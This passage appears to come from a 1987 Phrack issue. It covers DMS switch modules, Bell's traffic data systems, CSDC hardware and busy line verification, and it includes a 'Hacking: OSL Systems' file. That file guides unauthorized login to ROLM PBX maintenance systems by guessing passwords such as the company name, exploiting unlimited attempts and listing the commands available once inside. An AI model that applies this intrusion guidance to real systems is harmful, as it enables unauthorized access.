The Digital Carrier Module (DCM) gives a digital interface between the DMS switch and the DS‑1 digital carrier. The DS‑1 signal consists of 24 voice channels. The DCM takes out and puts in signaling and control information on the DS‑1 bit streams which then makes them DS‑30 32‑channel speech links. The DCM can interface five DS‑1 lines; 5*24=120 voice channels; into four 32channel speech links. The DCM can carry a maximum of 36 CCS of traffic on each trunk.

Line Module

The Line Module (LM) gives an interface for a maximum of 640 analog lines and condenses the voice and signaling into two, three, or four DS‑30, 32‑channel speech links. Four speech links have the ability to handle 3,700 Average Busy Season Busy Hour (ABSBH) CCS per LM.

Remote Line Module

The Remote Line Module (RLM) is a LM operating in a remote location from the DMS host. The RLMs can be located up to 150 miles from the host office, depending on the transmission facilities.

Digital Trunk Controller

The Digital Trunk Controller (DTC) has the ability to interface 20 DS‑1 lines. Then the DS‑1 lines are linked to the network by a maximum of 16 DS‑30 speech links; each trunk is able to handle 36 CCS.

Line Group Controller

The Line Group Controller (LGC) dose medium level processing tasks, with the ability to use host and remote subscriber line interfaces. The LGC has the ability to use Line Concentrating Modules (LCMs), Remote Switching Centers (RSCs), Remote Line Concentrating Modules (RLCMs), and Outside Plant Modules (OPMs).

The LGC can interface up to 20 DS‑30 speech links from the LCMs or up to 20 DS‑1 links with the ability to serve RSCs, RLCMs, or OPMs.

Line Trunk Controller

The Line Trunk Controller (LTC) combines the DTC and LGC functions and gives a way to use all the equipment inside the office. The LTC has the ability to handle the LCM, RSC, RLCM, OPM, and digital trunk interfaces.

The LTC has the ability to give interfaces to a maximum of 20 outside ports from DS‑30A speech links or DS‑1 links to 16 network side DS‑30 speech links.

Line Concentrating Module

The Line Concentration Module (LCM) when used with the LGC or LTC is just an expanded version of the line Module. It can serve up to 640 subscriber lines interfaced with two to six DS‑30A speech links. Using six speech links 5,390 CCS can be handled per LCM.

Remote Switching Center

The Remote Switching Center (RSC) interfaces subscriber lines at a remote location to a DMS‑100 host. It has the ability to handle interface for 5,760 lines and is used a replacements for dial offices or Private Branch Exchanges (PBXs). It can handle 16,200 CCS with the use of 16 DS‑1 links.

The RSC consists of the following:

Line Concentrator Module (LCM) ‑ These modules do line interface function. They are the same as the LCMs that are used in the DMS‑100 host.

Remote Cluster Controller (RCC) ‑ This controller gives DS‑1/LCM interface, Local switching inside the remote, and Local intelligence and signaling when in ESA.

Remote Trunking ‑ Handles the use of RSC originating or terminating traffic for digital trunking off the RSC. It can give trunking to a CDO co‑located with the RSC or within the service range of the RSC, Private Automatic Branch Exchanges (PABXs), or Direct Inward Dialing (DID) trunks.

Remote‑off‑Remote ‑ Lets the RLCMs and OPMs connect to the RCC through DS‑1 interfaces. It lets RLCM and OPM subscribers to use the same lines to the host as the RSC subscribers.

Emergency Stand‑Alone (ESA) ‑ If communication with the DMS‑100 is lost this will allow you to call internal to the RSC. It will give station‑to‑station and station‑to‑trunk calls for POTS, IBN, and electronic business sets.

Remote Line Concentrating Module

The Remote Line Concentrating Module (RLCM) is just a LCM used is a remote location from the DMS‑100 host. The RLCM can handle 640 lines; this can is sometimes used as a replacement for CDOs or PBXs.

Outside Plant Module

The Outside Plant Module (OPM) is an outside plant remote unit. The OPM can handle 640 lines over six DS‑1 links.

Subscriber Carrier Module

The Subscriber Carrier Module (SCM) gives a direct interface for remote concentrators.

SCM‑100R ‑ It can interface up to five Northern Telecom DMS‑1 Rural Remote Terminals (RTs). A DMS‑1 rural remote terminal can interface up to 256 lines. Communication between the RT and SCM‑ 100R is done through one or two span lines for voice and one protection line.

SCM‑100U ‑ It can interface up to three DMS‑1 Urban RTs. A DMS‑1 Urban can interface up to 576 POTS or special service lines. Communication from the RT to the SCM‑100U us done through a maximum of eight DS‑1 links.

SCM‑100S ‑ It can interface up to four Mode I (non‑concentrated) SLC‑96 systems or up to six Mode II (concentrated) systems. A SLC‑96 can give interface for up to 96 lines.

The SCM‑100 takes away the need for central concentrating terminals and analog line circuits at the host.

Operator Features

With the use of DMS‑200 or DMS 100/200 switch, operator features are available by the following:

Traffic Operator Position System (TOPS)

Operator Centralization (OC)

Auxiliary Operator Service System (AOSS)

Traffic Operator Position System (TOPS) gives many operator function on inward and outward calls. The TOPS integrates the operator system with the DMS‑200 or DMS‑100/200 toll switch.

One voice and one data circuit are needed for each operator position. The voice circuit is connected to a port of a three‑port conference circuit. The other two ports are connected to the calling and called parties. The data circuit is used for a digital modem and is used to transmit data punched in by the operator to the CCC for processing.

Operator Centralization

Operator Centralization (OC) lets the operator use the services given by the DMS‑200 or DMS‑100/200 with TOPS. With OC operator traffic from surrounding DMS sites can be routed to a central host site.

Operator Centralization Diagram

Routing ‑ ‑ ‑

<‑‑‑‑‑\ DMS‑200 | AMA |

\ Remote TC / ‑ ‑ ‑

= = = = = = = /

| \ ‑‑‑‑‑ ___|_/

| \: DMS : |

| : 200 : | Host TC ‑‑‑‑‑

| : : | POS |

| : (OC:___| | ‑‑‑‑‑‑‑‑‑ |

| : : |\ DMS‑200 : | / |Oper.|

| ‑‑‑‑‑\ | \ TOPS) :__|_/ ‑‑‑‑‑

= = = = = = = \______

Trib Ope Traffic‑>\ ____________|__:OC) : |

\ /

Non‑DMS Remote TC / | ‑‑‑‑‑‑‑‑‑ |

= = = = = = = = = = =

| ‑‑‑‑‑‑‑‑ ‑‑‑‑‑ |

| : TDM : : (OC: |

| : Switch : : : | ‑‑‑‑‑

| : : : DMS :_|_____: AMA :

| : : : 200 : | ‑‑‑‑‑

| /‑‑‑‑‑‑‑‑ ‑‑‑‑‑\ |

= = = = = = = = = = =

/Routing \ <‑Trib Opr Traffic

\‑‑‑‑‑‑‑> \

Auxiliary Operator Services System

The Auxiliary Operator Services System (AOSS) is made to handle directory assistance, intercept, and that type of operator services, automatic call distribution, call processing, call detail recording, and operator administration functions for other operator services that do not need call completion to a called party. AOSS position uses the same hardware as the TOPS links to the switch.

Equal Access

Equal Access (EA) is accessible through DMS switches with the addition of software packages. Both Equal Access End Office (EAEO) for the DMS‑100 and Access Tandem (AT) for the DMS‑200 provide equal access features.

Equal Access Network Application

‑‑‑‑‑‑‑‑‑ ______________

(Phone)‑‑‑‑‑‑‑‑| DMS‑100 |___________ |

‑‑‑‑‑‑‑‑‑ |

NON‑EAEO | IC/INC

‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑TO

(Phone)‑‑‑| |‑‑‑‑‑‑‑‑‑‑‑‑| DMS‑200 |‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑ IC/INC

‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑

|

‑‑‑‑‑‑‑‑‑ ___________|

(Phone)‑‑‑‑‑‑‑‑| DMS‑100 |__________________________________|

‑‑‑‑‑‑‑‑‑

DMS‑100 EAEO

The DMS‑100 EAEO gives direct access to interLATA (Local Access and Transport Area) carriers Point of Presence (POP) inside the LATA. The DMS‑200 AT gives a traffic concentration and distribution function for interLATA traffic originating or terminating inside a LATA. It allows the following:

10XXX and 950‑1XXX dialing

presubscription dialing

equal access and normal network control signaling

Automatic Number Identification (ANI) on all calls

custom calling services

Common Channel Interoffice Signaling

Common Channel Interoffice Signaling (CCIS) uses a separate data link to transmit signaling messages between offices for many trunks and trunk groups. There are two types of CCIS available in the DMS‑200 or DMS‑100/200, Banded Signaling (CCIS‑BS) and Direct Signaling (CCIS‑DS).

CCIS‑BS is for interoffice trunk signaling to give information on digits dialed, trunk identity, and other class and routing information. This kind of trunk signaling takes less time to setup calls and put's an end to Blue Boxing.

CCIS‑DS is used to transfer call handling information past what is required for trunk setup. This type of signaling lets calling card validation, mechanized calling card services and billed number screening to be used.

Cellular Mobile Radio Service

Cellular Mobile Radio Service is possible with the DMS‑100 Mobile Telephone Exchange (MTX). The MTX has the ability to serve from a few hundred to over 50,000 people in up to 50 cells.

Thanks to Northern Telecom and my local CO.

Control C

ToK!

March 1987

End of Part 1

<%><%><%><%><%>

The Total Network Data System

==Phrack Inc.==

Volume Two, Issue 12, Phile #5 of 11

THE TOTAL NETWORK DATA SYSTEM

BY DOOM PROPHET

The Total Network Data System is a monitoring/analysis network used by several offices within the Telco to analyze various levels of switching systems in relation to maintenance, performance, and future network planning purposes. The systems and the offices that use them will be described in detail in the following text.

All switching entities that are in one particular serving area collect traffic information that is classified in three ways: peg count, overflow, and usage. Peg count is a count of all calls offered on a trunk group or other network component during the measurement interval, which is usually one hour. It includes calls that are blocked, which is classified as overflow traffic. The other measurement types that the TNDS network analyzes and collects are as follows:

Maintenance Usage (for 1ESS, 2ESS, 5XB, 1XB, XBT)

Incoming Usage (for 1E, 2E, 4AETS)

All trunks busy (SxS)

Last Trunks Busy (SxS)

Completions (SxS, 5XB, XBT, 1XB)

Incoming Peg Count (DMS)

Maintenance Busy Count (2E, 3E)

Detector Group Usage (SxS, 5XB, XBT, 1XB)

In ESS and DMS offices, traffic data is collected by the central processor of the switch. In electomechanical offices such as crossbar, a Traffic Usage Recorder is used to scan trunks and other components about every 100 seconds, counting how many are in use. This data when compiled is sent to the EADAS system, which is located in the Operating Company's Network Data Collection Centers and runs on a minicomputer. 4ESS and 4Xbar toll offices do not use EADAS, but their own system called the Peripheral Bus Computer for traffic data analysis. After receiving the traffic data from up to 80 switching offices, EADAS performs two basic functions: It processes some data in near real time (shortly after it is received) to provide hourly and half hourly reports and a short term database for network administrators. It also collects and summarizes data that it will pass on to the other TNDS systems via data links or magnetic tape.

Three other systems receive directly from EADAS. These systems are ICAN, TDAS, and EADAS/NM. ICAN stands for Individual Circuit Analysis plan and is used to study individual circuits in central office equipment that have been specified by network administrators.

TDAS is the Traffic Data Administration System, which formats traffic data for use by the remaining downstream systems. ICAN and EADAS/NM are the only two systems with data links to EADAS that don't have their data formatted by TDAS before reception. TDAS is run on a mainframe in the NDCC and can be thought of as a distribution facility for the traffic data. EADAS/NM is used to watch switching systems and trunk groups designated by network managers, and reports existing or anticipated congestion on a display board at the Network Management Centers, where the system is located. Problems can be analyzed with this system and dealt with within a short period of time after they occur.

Central Office Reporting Systems

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

There are five TNDS engineering and administrative systems that provide operating company personnel with reports about CO switching equipment. These are the LBS, 5XBCOER, SPCSCOER, ICAN, and SONDS. LBS, the Load Balance System, helps assure that the customer traffic load is uniformly distributed over each switching system. It minimizes congestion on the concentrators, which allow subscribers to share the equipment in the switch. The LBS analyzes traffic data coming to it from TDAS to determine the traffic load on each line group that the system serves. LBS generates reports used by the NMC to determine line groups that can have new incoming subscriber lines assigned to them. LBS also does a load balance indexes for the entire operating company, indicating how effectively each CO has avoided congestion.

Crossbar #5 Central Office Equipment Reports (5XBCOER) and Stored Program Control Systems COER used for 1, 2, and 3 ESS offices, analyze traffic data to indicate the overall service provided by the switching system and to tell how much of its capacity is being used. This info helps determine if new equipment is needed.

ICAN, which was described briefly above, detects switching system equipment faults by identifying abnormal load patterns on individual circuits. A series of reports printed at the Network Administration Center helps network administrators analyze individual circuit usage and verify circuit grouping. ICAN is located at the BOC main computer center along with 5XBCOER.

The fifth CO equipment reporting system is called the Small Office Network Data System, or SONDS. SONDS performs a full range of data manipulation functions, and is used to provide economically the full TNDS features for step by step offices. Step offices send data directly to this system, and it is not formatted by EADAS or TDAS, as it doesn't go through these systems. Weekly, monthly, exception and on demand reports are automatically distributed by SONDS to the NAC personnel.

Trunk Network Reporting Systems

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

These systems are parts of the TNDS used by the Circuit Administration Center to support trunk servicing and forecasting. The Trunk Servicing System helps trunk administrators develop short term plans to make the best use of the trunks that are already in use. It receives and processes data received from TDAS and computes offered load. Offered load is the amount of traffic a trunk group would have carried had the number of circuits been large enough to handle the load without trunk blocking (giving the caller a re‑order or all circuits busy recording). TSS produces weekly reports showing underutilization of trunks and below grade of service trunk groups which do not have enough trunks in them. The CAC uses these reports to add or disconnect trunks according to what traffic requirements exist.

The Traffic Routing and Forecasting System, replacing the Trunk Forecasting System, forecasts message trunk requirements for the next five years. Major conversions and similar network changes are all taken into consideration when determining the future traffic needs. TRFS receives data from EADAS, TDAS, and TSS and is located at the Operating Company computer center.

Since TDAS and some of the downstream TNDS systems need much of the same information, that information is maintained in a system called Common Update. In this manner, some data does not have to be duplicated in each individual system. Some of the information includes the configuration of switching equipment and the trunk network and specifications on traffic registers for central offices. Numbers recorded by each register are treated consistently by each system that uses the Common Update data base. There is an update base for trunking, referred to as CU/TK, and an update on equipment known as CU/EQ. The trunking part of the Operating Company's data base is coordinated by the Trunk Records Management System.

Since the TNDS systems are so important to the proper operation of the network, the CSAR (Centralized System For Analysis and Reporting) is used to monitor the entire TNDS performance. The NDCC, the NAC, and the CAC are provided with measurements of the accuracy, timeliness, and completeness of the data flow through TNDS from beginning to end. It doesn't analyze data from EADAS/NM, SONDS, or TRFS.

BOC Operations Centers

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

NAC‑Network Administration Center. Responsible for optimum loading, and utilization of installed COE. Performs daily surveillance of COs and trunk groups to ensure service objectives are being met. The NAC Reviews profiles of office load relating to anticipated growth. They work with NSEC to initiate work orders to increase equipment in use. The systems they use are EADAS, SPCSCOER, CSAR, and SONDS.

NMC‑Network Management Centers. The NMC keeps the network operating efficiently when unusual traffic patterns or equipment failures would otherwise result in congestion. The NMC analyzes network performance and prepares contingency plans for peak days, telethons, and major switch failures. They monitor a near real time network performance data to identify abnormal situations. The system they use is EADAS/NM.

CAC‑Circuit Administration Center. The CAC ensures that in service trunks meet current as well as anticipated customer demands at acceptable levels of service. For planned servicing, the CAC compares current traffic loads with forecasted loads for the upcoming busy season. If the loads are consistent, the CAC issues the orders to provide the forecasted trunks. When inconsistencies occur, they examine the variation, develop modified forecasts, and issue orders based on the new forecast. They review weekly traffic data to identify trunk groups that need additions and issue the necessary trunk orders. The systems they use are TSS, TRFS, and CSAR.

NSEC‑Network Switching Engineering Center. They plan and design the network along with the CAC. NSEC develops a forecast of loads for traffic sensitive switching equipment, sets office capacities, and determines relief size and timing.

For long range planning, the following offices are utilized.

TNPC‑Traffic Network Planning Center. The TNPC determines the most economic growth and replacement strategies. They handle future network considerations over a 20 year period for tandem systems, operator services networks, interconnecting trunks, and switching terminations to accommodate the trunks.

WCPC‑Wire Center Planning Center. This office does the same as the TNPC, but their jurisdiction includes local switches, the subscriber network, and interoffice facilities. They have the numbers, types, and locations of switches and homing arrangements. They also keep track of alternate routes, tandem centers, etc. Both the TNPC and WCPC provide the CAC and NSEC with office and network evolution plans for 20 years.

District based maintenance and administration operations are handled by the NAC, RCMAC, and the SCC. These can cover 240 square miles of serving area.

Network Operations Centers

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The highest level of network operations is the Network Operations Center, located in the AT&T Long Lines HQ in Bedminster, NJ. The main computers used by the NOC are in Netcong, about 25 miles away, along with some backups. The NOC are responsible for interregional coordination between the 12 RNOCs, 27 NMCs, and 2 RNMCs in Canada; for monitoring the top portion of toll switches (all class 1 Regional Centers, 2 Canadian, about 70 class 2 Sectional Centers, 200 Primary centers, some class 4 Toll centers); for monitoring of the international gateways, and the CCIS network for these switching systems. The STP signalling links connect STPs to each other, to switches, and to a centralized database called an NCP (Network Control Point) of which access is given to switches directly via CCIS.

The Data Transfer Point, which is a data switch that furnishes the NOC with a flow of monitoring information for all key toll switches, also gives them information about CCIS STPs and the IOCCs that they monitor.

The operating system supporting the NOC is the NOCS (the S being System), which is configured with the DTP, a wall display processor, graphics processors, receive only printers, and CRT terminals for the technicians. The NOC also uses EADAS/NM through the DTP. Both the NOCS and the DTP run Unix operating systems.

The second highest level of these operations centers are the RNOCs, or Regional Network Operations Centers. The 12 RNOCs monitor the CCIS network and coordinate the 2‑3 NMC's activities for its region. The RNOCs use the EADAS/NM system and something called NORGEN, Network Operations Report Generator, that prints out reports from EADAS's traffic data.

The first or lowest level of these centers is the Network Management Centers. There were 27 EADAS/NM supported NMCs across the United States as of 1983. The NMC was described above, as well as the systems it used.

========================================

Some of this information was taken from Bell System publications and from trashed materials, and may not be the same for every area. All material is correct to the best of the author's knowledge. Thanks to The Marauder for supplying some information. This file was written for educational purposes only.

CSDC II - Hardware Requirements

Written March, 1987

==Phrack Inc.==

Volume Two, Issue 12, Phile #6 of 11

/\

<[]>======================

\/ ^

|| PLP [+]The Executioner[+] PLP ||

++ ^

|| [+] PhoneLine Phantoms! [+] ||

++

|| CSDC ‑ Hardware Requirements ||

++ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|| PLP | PHRACK XII ‑ PHRACK XII | PLP ||

/\ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

<[]>======================

\/ Phreak Klass Room 2600 = 806‑799‑0016 \/

|| _______________ Login: Educate ||

++ |The only BBS | Sysop:Egyptian Lover ++ || |that teaches.| Cosysop:The Executioner||

/\ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Board lose:Oryan Quest /\

<[]>======================

\/

Preface:

========

This is the second part of my CSDC (Circuit Switched Digital Capability) series, the first being in PHRACK X. It is suggested that you read the first part and also the file on PACT in PHRACK XI. If I feel the material was not covered completely, I will make a third addition to this file.

Hardware Interfaces

===================

A NCTE or equivalent network interface equipment, located on the customer premises, is required to provide the CSDC feature for a customer. The NCTE or an equivalent circuit, located on the customer's premises, is required to provide TCM (Time‑Compression‑Multiplexing) transmission on the 2‑wire subscriber loop. The NCTE also has a remote loopback for testing from CSDC central office.

Dedicated 2‑way CSDC trunk circuits are provided via DCT (Digital Carrier Trunk) combined alternate data/voice (CADV) units with DCT supervision. MF and CCIS signalling is allowed on these trunks. They provide signalling, switching and trunking functions between 1A ESS switch and other CSDC offices. To provide CSDC, the DCT bank must be equipped with alarm and digroup control units. A Digital Office Timing Supply (DOTS) is needed to provide network synchronization for the CSDC feature. A minimum of 3 CSDC maintenance circuits are needed for the CSDC feature to operate. The circuit provides digital signals for testing CSDC trunks and loops. They also provide a test termination for incoming CSDC calls. If an office has superimposed ringing for 4 and 8 party lines, these ringing circuits may be used for loop testing with the maintenance circuit.

Remote Switching System

=======================

The RSS remote frame contains eight special service slot positions that can be used for D4 type plug in units (basically allows the RSS to have CSDC abilities). This allows the CSDC TRXS (Time Compression Multiplexing Remote Subscriber Exchange) channel units to be housed in the RSS frame. The CSDC feature is provided via the RSS T1 carrier facilities. The T1 carriers for CSDC service terminate with position 1 and 0 at the RSS. A ringing and tone plant is required in the RSS office to ring the phones of special service channel unit subscribers.

Operation of the CSDC

=====================

An off‑hook origination initiates the seizure of an originating register. A line translation is performed and the CSDC indicator is received from the Line Equipment Number Class (LENCL) and is stored in the register. A touch tone service receiver is connected to the line and dial tone is applied. Upon receiving a digit, dial tone is removed. If the first digit is a '#', digit collection is set up to collect 2 more digits. Upon receipt of the 2 digits (99), the PACT (Prefix Access Code Translator) is indexed via the dialed digits to determine what service has been requested. If the line cannot have CSDC, an error message is sent. The AB digits (carrier selection) are collected next. Once the AB digits have been determined to be valid, the CCOL (Chart Column) is received. The CCOL merely is a code to tell the PACT what is to be done. Once the AB digits and the CSDC CCOL is received, the original register is overwritten with the CSDC CCOL. The CSDC office then sends a bit down the line to tell the equipment that a CSDC call is being processed. The call is now reinitialized to appear as though no digits have been collected. Digit collection proceeds until the proper number of digits (7 to 10) has been received. An AMA register is seized at the end of the dialing. The call is then routed according to the dialed digits on a CSDC outgoing trunk. Answer guard timing for CSDC calls is 800 ms. Upon answer, the answer time is recorded in the AMA register.

An outpulsing trunk is seized and a POB is hunted. If an outgoing trunk and outpulsing device are needed, one will be hunted. Information on the trunk is stored and a transfer to the outpulsing routine (MF or CCIS) is done. A verification insures that both calling and called parties are CSDC allowed. If they are not, the call is routed to an Automatic Intercept Service (AIS). For MF outpulsing, a junior register is seized, the outgoing trunk is put into the proper states, and start pulsing signal detection is done followed by digit outpulsing. For CCIS, call processing is the same as a normal call but a CCIS continuity check is performed while on the on‑hook state. For an incoming call, the CSDC bit from the Trunk Class Code (TCC) is stored in the incoming register and a CSDC count is pegged. Digit collection is performed and a terminating DN translation is performed. Ringing is applied normally and once it has been answered, the incoming trunk is put in the off‑hook state to pass answer to the next office.

Standard disconnect and trunk guard timing is performed on CSDC calls when the called or calling party goes off‑hook after a talking path has been established.

Standard CSDC Dynamics

======================

Call forwarding codes dialed after the CSDC code result in reorder.

The Call waiting option is also suspended when a CSDC call is in progress. Busy tone is given to POTS call that terminates to a CSDC connection. Busy tone is also given to a calling CSDC party if it encounters a busy line.

In order to have a 800 CSDC feature, the office must have CCIS INWATS ability in the OSO (Originating Screening Office).

Dialing 911 after the CSDC code is allowed, but 411/611 calls are routed to error messages.

NCTE (Network Channel Terminating Equipment)

========================================

As covered in Part 1, the NCTE is the equipment that you need to have CSDC. The NCTE is a piece of hardware that is connected to the CO loop and a terminal. On the terminal, there are 8 jacks for 8 pins on the NCTE. The functions of each pin are as followed.

1 ‑ TRANSMISSION DATA

2 ‑ TRANSMISSION DATA

3 ‑ MODE CONTROL

4 ‑ MODE CONTROL

5 ‑ TIP VOICE

6 ‑ RING VOICE

7 ‑ RECEIVED DATA

8 ‑ RECEIVED DATA

========================================

This ends PART II of the CSDC series. Since Taran King was in such a hurry, I will finish the 3rd file with SCCS integrations, loop structure and RSS structures.

If you have any questions about this file or any other file, please leave me a message on either...

Phreak KlassRoom 2600 = 806‑799‑0016 LOGIN:EDUCATE

Hacking

==Phrack Inc.==

Volume Two, Issue 12, Phile #7 of 11

‑/\‑/\‑/\‑/\‑/\‑/\‑/

\

/ Hacking : OSL Systems \

\

/ Written by Evil Jay \

\

/ (C) 1987/88 Evil Jay \

\

‑/\‑/\‑/\‑/\‑/\‑/\‑/

Prologue:

This file is for all those people who are running across the OSL system and are constantly confused about getting in and what to do once you're in. Because of the trouble I had getting a manual on the system from ROLM, I was forced to write this file from what I already know, and what I can do on the few systems I have gained access to. Since this file is far from complete (without a manual, most are), I'll leave it to you, to write up future files on the OSL system. Credit goes to Taran King who got me interested in writing the file, and who tried to help me get a manual (my social engineering leaves something to be desired).

What is OSL:

Actually it has been termed as Operating Systems Location, Off Site Location and a lot of other names. Which? I'm not sure. What I can tell you is that it's an operating system running on an IBM (?) that does remote maintenance operations on a ROLM PBX (Referred to as CBX I believe). As I said, this file is not too complete, and I was unable to get very much information about the system, or the PBX system itself. I believe Celtic Phrost wrote a file on ROLM PBX systems, and you might want to read that or other ROLM files for more information.

Getting In:

If you have trouble logging in, try changing your parity. Also, this system will only except uppercase. The first thing you should see when you get a carrier is the following:

MARAUDER10292 01/09/85(^G) 1 03/10/87 00:29:47

RELEASE 8003

OSL, PLEASE.

?

MARAUDER10292 is the system identification. Most of the time, this will be the name of the company running the OSL system, but occasionally you will find a system, you will not be able to identify. CN/A it. It might be your only chance of gaining access to that particular system.

01/09/85. This is a mystery to me. It could be the time that the system first went up (but sounds unlikely), the date of the current version of the OSL operating system...etc.

The ^G is a Control‑G, and rings a bell at your terminal. I do not know why, but it does...

The rest of the text on that line is the current time and date.

RELEASE 8003 could be, again, the revision number of the software package. I don't know.

OSL PLEASE means that you can now attempt to login.

The ? is your prompt. Remember the uppercase only. Naturally we are going to type "OSL" to login. Once this is done, we will receive this prompt:

KEY:

This is the password prompt, and so far as I can tell, can be anything up to, say, 20 characters long. Obviously we are going to try MARAUDERS or MARAUDER as a password. Here's the tricky part. Some systems do not tell you whether the password was right or not. Sometimes, if it's right, you will get a ? prompt again. If not, you will get an ERROR msg. It depends on the system. Each system is set up a different way. Also, some systems require all alphabetics, while others require alphanumerics and sometimes they will require both. Again, you may or may not get an ERROR message. You can ABORT anything at any time by sending a BREAK. One good thing about the system is that you have, so far as I can tell, unlimited attempts at guessing the "KEY". Also, Druidic Death says that "," is a default, or is commonly used (I don't remember which). Unfortunately, I have never been able to get this to work myself.

Your IN!:

Okay, first thing we need to do is type HELP. If you have access, which again, differs from system to system, you will get a menu that looks like so. (Maybe not, but I am through telling you how strange this system is.)

PLEASE ENTER ONE OF THE FOLLOWING COMMANDS

LREP ‑ DISPLAY REPORT MENU

LST ‑ LIST REPORT COMMANDS CURRENTLY STORED

ACD ‑ ADD AN ACD COMMAND

DEL ‑ DELETE AN ACD COMMAND

MOD ‑ MODIFY AN ACD COMMAND

SUS ‑ SUSPEND AN ACD COMMAND

ACT ‑ ACTIVATE AN ACD COMMAND

LREP: This lists a menu of reports you can view.

LST : This lists all the commands that have been stored in the buffer.

ACD : This activates a command.

DEL : This deletes a command in the buffer.

MOD : This modifies a command in the buffer.

SUS : This suspends a command in the buffer.

ACT : This activates a command in the buffer.

Commands Explained:

Okay, so now we'll go through all of these commands and show you what they do, and of course, explain each example.

LREP:

LREP lists a number of reports which can be ran. Here is an example:

REP# NAME SYNTAX

‑‑‑‑ ‑‑‑‑ ‑‑‑‑‑‑

1 ‑ CURRENT STATUS ACD 1,(FIRST),(LAST),(START),(INT),(#INT),(CLR),(REP) 2 ‑ CUMULATIVE STATUS ACD 2,(FIRST),(LAST),(START),(INT),(#INT),(CLR),(REP) 3 ‑ TRUNK DISPLAY GROUP ACD 3,(FIRST),(LAST),(START),(INT),(#INT),(CLR),(REP) 4 ‑ POSITON PERFORMANCE ACD 4,(FIRST),(LAST),(START),(INT),(#INT),(CLR),(REP) 5 ‑ ABBREVIATED AGENT ACD 5,(FIRST),(LAST),(START),(INT),(#INT),(CLR),(REP) 6 ‑ DAILY PROFILE ACD 6,(FIRST),(LAST),(START),(INT),(#INT),(CLR),(REP) 7 ‑ CUMULATIVE AGENT ACD 7,(FIRST),(LAST),(START),(INT),(#INT),(CLR),(REP)

Current Status : Gives you the current status of the PBX system. Cumulative Status: Quite obvious.

Trunk Display Grp: Obvious again.

Position Prfrmnce: ???

Abbreviated Agent: ???

Daily Profile : Gives you a report of how the PBX ran on date 00/00/00. Cumulative Agent : ???

ACD:

I purposely skipped all the other commands, since they are pretty obvious. They all have to do with adding commands to the buffer, modifying them and running them..etc. If you get access to a system, it would be wise to LST all of the commands that the operators have been running and then try them yourself. No biggy, but oh well. The ACD command activates a command and lists the desired report on your terminal. While the whole thing can be typed on one line, you can just type ACD <REPORT NUMBER> <CR> and do it step by step (a little easier to get the hang of it). Now we'll go through this, and show you an example of building a command to list the Trunk Display Report.

?ACD 3

<CTRL‑G>FIRST GP OR AGENT ID: (Try 1)

<CTRL‑G>LAST GP OR AGENT ID: (Try 2)

START TIME: (Enter START TIME in army time such as 22:52:00) INTERVAL: (Not sure, hit return)

# OF INTERVALS: (Not sure, hit return)

CLEAR(Y/N): (Type Y, but this is stored in the last cleared log) REPEAT DAILY?: (No!)

PRINT LAST CLEARED(Y/N): (Here's where the last cleared shows up)

It then prints out the command and executes it, showing you the desired report.

The end result:

Some other things can be done, such as commands like C and M and a host of others, but unfortunately, as I said, these systems are very strange and it's hard to find two alike. The computer is not worthless, and lots of things can be done on it, but this file is getting quite lengthy. If there is enough demand, I will write a follow‑up. In the meantime, if I have made any mistakes, or you have more knowledge that you would like to share with me, I can be reached on the following boards:

ShadowSpawn Private, Hell Phrozen Over, Phantasie Realm and a few others.

‑/\‑/\‑/\‑/\‑/\‑/\

\

/ An Evil Jay/Phrack, Inc. \

\

/ Presentation \

\

Busy Line Verification Part II

==Phrack Inc.==

Volume Two, Issue 12, Phile #8 of 11

BUSY LINE VERIFICATION PART II

WRITTEN BY PHANTOM PHREAKER

This file is meant to be an addition to the first file that was included in Phrack Inc. Issue XI. It is assumed that the reader has read and understood the previous file. Most of this information will be taken from Bell System Publications so you don't have to worry about it being incorrect.

First off, I'd like to correct a minor error included in the first file. I use the format 'KP+0XX+PRE+SUFF+ST' to show the MF routing that is used. This is not correct AT&T syntax though, the correct format is KP+0XX+NXX+XXXX+ST. This is minor detail, but some people are very picky.

The Verification Network

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In a TSPS office, a verification circuit is associated with a 4‑wire OutGoing Trunk (OGT) and a 3‑way/4‑wire bridging repeater arrangement. This is the circuit that does the speech scrambling. The speech and other tones (like busy and re‑order) are frequency shifted, but are still recognizable by a TSPS operator.

TSPS verification trunks are connected via dedicated lines to incoming verification trunks in a toll office. The toll office provides either a link to an outgoing trunk and dedicated facilities to another toll office, or an outgoing toll connecting trunk and dedicated facilities to an incoming verification trunk in a local office. Each toll office has ways to check the security of verification trunks. In electronic toll offices (ESS offices), two independent office data translations provide security of the trunk. Electromechanical toll offices (Such as a CrossBar Tandem (XBT)) use an electrical cross‑office check signal or a segregated switching train to control trunk connections. Verification trunks relay supervisory signals (such as answering supervision) to TSPS from the line being verified. Also, if verification trunks are busy, the TSPS operator will receive a re‑order.

The functions of the VFY key

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

When the operator presses the VFY key, several checks are made upon the number that has been entered. These are:

A Check to see if the line is within the verification network accessible by that particular TSPS. If the line is not, the VFY key will flash.

A check to see if the owner of the line wishes BLV to be possible or not. If the line is something like a police emergency line, then the VFY key will flash, similar to the first check.

Important TSPS keys

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

When the VFY lamp lights steady (doesn't flash), indicating the process is acceptable, the operator puts the calling customer on hold and accesses an idle loop on the operator position. The ACS (Access) lamp lights steady if a verification trunk is available at that time. Then, the operator presses the ST key which sends out the complete number to be verified, in MF. The verification circuit activates, and the operator listens for scrambled speech and also watches the CLD (Called) lamp on her console. The CLD lamp is lighted when the operator loop was accessed, and will remain lit if the line being verified is on‑hook. The operator has two ways of seeing if the line is in use, by listening, and by watching the CLD lamp. If the CLD lamp light goes out, then the line is off‑hook.

